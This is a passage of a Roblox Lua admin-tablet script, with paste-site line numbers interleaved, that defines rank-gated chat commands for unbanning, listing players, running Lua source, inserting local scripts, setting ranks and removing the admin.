                local PlrTab = getPlayer(Speaker, Msg)
2454
                if #PlrTab > 0 then
2455
                        for _,v in pairs(PlrTab) do
2456
                                ypcall(function()
2457
                                        Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
2458
                                end)
2459
                        end
2460
                end
2461
                local PlrName = ChangeRank(Msg, 0)
2462
                Ping("Un-Banned "..PlrName, Speaker, 5)
2463
        end)
2464
end)
2465
2466
Command("Menu", 0, "Show the menu", function(Msg, Speaker)
2467
        Dismiss(Speaker)
2468
        Ping("Commands", Speaker, nil, function()
2469
                Dismiss(Speaker.Name)
2470
                Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
2471
                Ping("Every Single Command", Speaker, nil, function() OpenCmds(1337, Speaker) end)
2472
                Ping("Rank Zero", Speaker, nil, function() OpenCmds(0, Speaker) end)
2473
                Ping("Rank One", Speaker, nil, function() OpenCmds(1, Speaker) end)
2474
                Ping("Rank Two", Speaker, nil, function() OpenCmds(2, Speaker) end)
2475
                Ping("Rank Three", Speaker, nil, function() OpenCmds(3, Speaker) end)
2476
                Ping("Rank Four", Speaker, nil, function() OpenCmds(4, Speaker) end)
2477
                Ping("Rank Five", Speaker, nil, function() OpenCmds(5, Speaker) end)
2478
        end)
2479
        Ping("Players", Speaker, nil, function()
2480
                ListPlayers(Speaker)
2481
        end)
2482
end)
2483
2484
Command("Players", 0, "Show the Players", function(Msg, Speaker)
2485
        ListPlayers(Speaker)
2486
end)
2487
2488
Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
2489
        local Func,Error = loadstring(Msg)
2490
        getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
2491
        getfenv(Func).Speaker = Speaker
2492
        if Error == nil then
2493
                coroutine.wrap(function()
2494
                        Func()
2495
                end)()
2496
                Ping("Executed Script!", Speaker, 5)
2497
        else
2498
                Ping(Error, Speaker, 10)
2499
        end
2500
end)
2501
2502
Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
2503
        if LS ~= nil then
2504
                local Split = GetSplit(Msg)
2505
                local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2506
                local LocalSource = Msg:sub(Split + 1)
2507
                if #PlrTab > 0 then
2508
                        for _,v in pairs(PlrTab) do
2509
                                local Inserted = LS:Clone()
2510
                                Inserted.Disabled = true
2511
                                Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
2512
                                if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
2513
                                        Inserted:findFirstChild(OwnSource).Value = v.Name
2514
                                end
2515
                                Inserted[LSSource].Value = LocalSource
2516
                                Inserted.Disabled = false
2517
                        end
2518
                end
2519
        else
2520
                Ping("ERROR: Local Script Not Found", Speaker, 5)
2521
        end
2522
end)
2523
2524
Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
2525
        Msg = tostring(Msg)
2526
        Ping(Msg, Speaker)
2527
end)
2528
2529
Command("shows", 1, "Show the script stuff", function(Msg, Speaker)
2530
        Dismiss(Speaker)
2531
        for i,v in pairs(getfenv(1)) do
2532
                ypcall(function()
2533
                        Ping(tostring(i)..": "..tostring(v), Speaker)
2534
                end)
2535
        end
2536
end)
2537
2538
Command('GetR', 0, 'Shows all players in ranking table',
2539
function(Msg,Speaker)
2540
for _,v in pairs(Rankings) do
2541
Ping(v.Name.."'s Rank: "..v.Rank,Speaker,nil,nil,nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
2542
end
2543
end)
2544
2545
2546
Command("Setr", 5, "Ranks A Player", function(Msg, Speaker)
2547
        local Split = GetSplit(Msg)
2548
        local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
2549
        local Rank = tonumber(Msg:sub(Split + 1))
2550
        if #PlrTab > 0 then
2551
                for _,v in pairs(PlrTab) do
2552
                        if v.Name ~= Owner then
2553
                                ChangeRank(v, Rank)
2554
                                Ping(v.Name.." is now rank "..tostring(Rank), Speaker, 5)
2555
                        end
2556
                end
2557
        end
2558
end)
2559
2560
Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
2561
        Dismiss()
2562
        Ping('Remove Kaj Tablets? <lol click me>',Speaker,5,function()
2563
                Dismiss()
2564
        Removed = true
2565
        for i,v in pairs(getfenv(1)) do
2566
                getfenv(1)[i] = nil
2567
        end
2568
        script.Disabled = true
2569
        end)
2570
end)